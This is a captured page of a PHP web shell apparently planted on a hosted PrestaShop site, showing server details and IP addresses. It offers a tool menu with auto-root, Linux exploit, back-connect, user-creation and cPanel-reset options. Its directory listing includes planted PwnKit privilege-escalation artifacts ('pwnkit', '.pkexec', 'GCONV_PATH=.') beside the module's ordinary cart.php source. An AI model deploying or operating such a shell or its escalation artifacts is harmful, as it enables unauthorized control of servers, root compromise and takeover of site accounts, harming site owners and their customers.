Linux webm004.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.106.20.4 | : 216.73.216.104
Cant Read [ /etc/named.conf ]
7.4.33
alinaousgg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
alinaousgg /
newmed /
modules /
blockwishlist /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
_dev
[ DIR ]
drwx---r-x
classes
[ DIR ]
drwx---r-x
config
[ DIR ]
drwx---r-x
controllers
[ DIR ]
drwx---r-x
mails
[ DIR ]
drwx---r-x
public
[ DIR ]
drwx---r-x
src
[ DIR ]
drwx---r-x
translations
[ DIR ]
drwx---r-x
upgrade
[ DIR ]
drwx---r-x
views
[ DIR ]
drwx---r-x
.mad-root
0
B
-rw-r--r--
.prettierrc.js
153
B
-rw----r--
CHANGELOG.txt
344
B
-rw----r--
Makefile
432
B
-rw----r--
Readme.md
1.7
KB
-rw----r--
WishList.php
26.55
KB
-rw----r--
blockwishlist.php
20.27
KB
-rw----r--
buywishlistproduct.php
2.02
KB
-rw----r--
cart.php
4.89
KB
-rw----r--
composer.lock
46.58
KB
-rw----r--
config.xml
491
B
-rw----r--
config_fr.xml
491
B
-rw----r--
index.php
1.24
KB
-rw----r--
install.sql
1.42
KB
-rw----r--
logo.gif
853
B
-rw----r--
logo.png
5.42
KB
-rw----r--
managewishlist.php
5.73
KB
-rw----r--
package-lock.json
471.07
KB
-rw----r--
postcss.config.js
900
B
-rw----r--
pwnkit
10.99
KB
-rwxr-xr-x
sendwishlist.php
3.39
KB
-rw----r--
webpack.config.js
1.28
KB
-rw----r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : cart.php
<?php /** * 2007-2018 PrestaShop * * NOTICE OF LICENSE * * This source file is subject to the Academic Free License (AFL 3.0) * that is bundled with this package in the file LICENSE.txt. * It is also available through the world-wide-web at this URL: * http://opensource.org/licenses/afl-3.0.php * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to http://www.prestashop.com for more information. * * @author PrestaShop SA <contact@prestashop.com> * @copyright 2007-2018 PrestaShop SA * @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) * International Registered Trademark & Property of PrestaShop SA */ include_once('../../config/config.inc.php'); require_once(dirname(__FILE__).'/WishList.php'); require_once(dirname(__FILE__).'/blockwishlist.php'); $context = Context::getContext(); $action = Tools::getValue('action'); $add = (!strcmp($action, 'add') ? 1 : 0); $delete = (!strcmp($action, 'delete') ? 1 : 0); $id_wishlist = (int)Tools::getValue('id_wishlist'); $id_product = (int)Tools::getValue('id_product'); $quantity = (int)Tools::getValue('quantity'); if (Tools::getIsset('group')) { $id_product_attribute = (int)Product::getIdProductAttributesByIdAttributes($id_product, Tools::getValue('group')); } else { $id_product_attribute=0; } // Instance of module class for translations $module = new BlockWishList(); if (Configuration::get('PS_TOKEN_ENABLE') == 1 && strcmp(Tools::getToken(false), Tools::getValue('token')) && $context->customer->isLogged() === true ) { echo $module->l('Invalid token', 'cart'); } if ($context->customer->isLogged()) { if ($id_wishlist && WishList::exists($id_wishlist, $context->customer->id) === true) { $context->cookie->id_wishlist = (int)$id_wishlist; } if ((int)$context->cookie->id_wishlist > 0 && !WishList::exists($context->cookie->id_wishlist, $context->customer->id)) { $context->cookie->id_wishlist = ''; } if (empty($context->cookie->id_wishlist) === true || $context->cookie->id_wishlist == false) { $context->smarty->assign('error', true); } if (($add || $delete) && empty($id_product) === false) { if (!isset($context->cookie->id_wishlist) || $context->cookie->id_wishlist == '') { $wishlist = new WishList(); $wishlist->id_shop = $context->shop->id; $wishlist->id_shop_group = $context->shop->id_shop_group; $wishlist->default = 1; $mod_wishlist = new BlockWishList(); $wishlist->name = $mod_wishlist->default_wishlist_name; $wishlist->id_customer = (int)$context->customer->id; list($us, $s) = explode(' ', microtime()); srand($s * $us); $wishlist->token = Tools:: strtoupper(Tools::substr(sha1(uniqid(rand(), true)._COOKIE_KEY_.$context->customer->id), 0, 16)); $wishlist->add(); $context->cookie->id_wishlist = (int)$wishlist->id; } if ($add && $quantity) { WishList::addProduct( $context->cookie->id_wishlist, $context->customer->id, $id_product, $id_product_attribute, $quantity ); echo (int)Db::getInstance()->getValue('SELECT count(id_wishlist_product) FROM '._DB_PREFIX_.'wishlist w, '._DB_PREFIX_.'wishlist_product wp where w.id_wishlist = wp.id_wishlist and w.id_customer='.(int)$context->customer->id); die(); } elseif ($delete) { WishList::removeProduct( $context->cookie->id_wishlist, $context->customer->id, $id_product, $id_product_attribute ); } } $context->smarty->assign( 'products', WishList::getProductByIdCustomer( $context->cookie->id_wishlist, $context->customer->id, $context->language->id, null, true ) ); $context->smarty->assign('link', $context->link); if (Tools::file_exists_cache(_PS_THEME_DIR_.'modules/blockwishlist/blockwishlist-ajax.tpl')) { $context->smarty->display(_PS_THEME_DIR_.'modules/blockwishlist/blockwishlist-ajax.tpl'); } elseif (Tools::file_exists_cache(dirname(__FILE__).'/views/templates/front/blockwishlist-ajax.tpl')) { $context->smarty->display(dirname(__FILE__).'/views/templates/front/blockwishlist-ajax.tpl'); } else { echo $module->l('No template found', 'cart'); } } else { echo $module->l('You must be logged in to manage your wishlist.', 'cart'); }
Close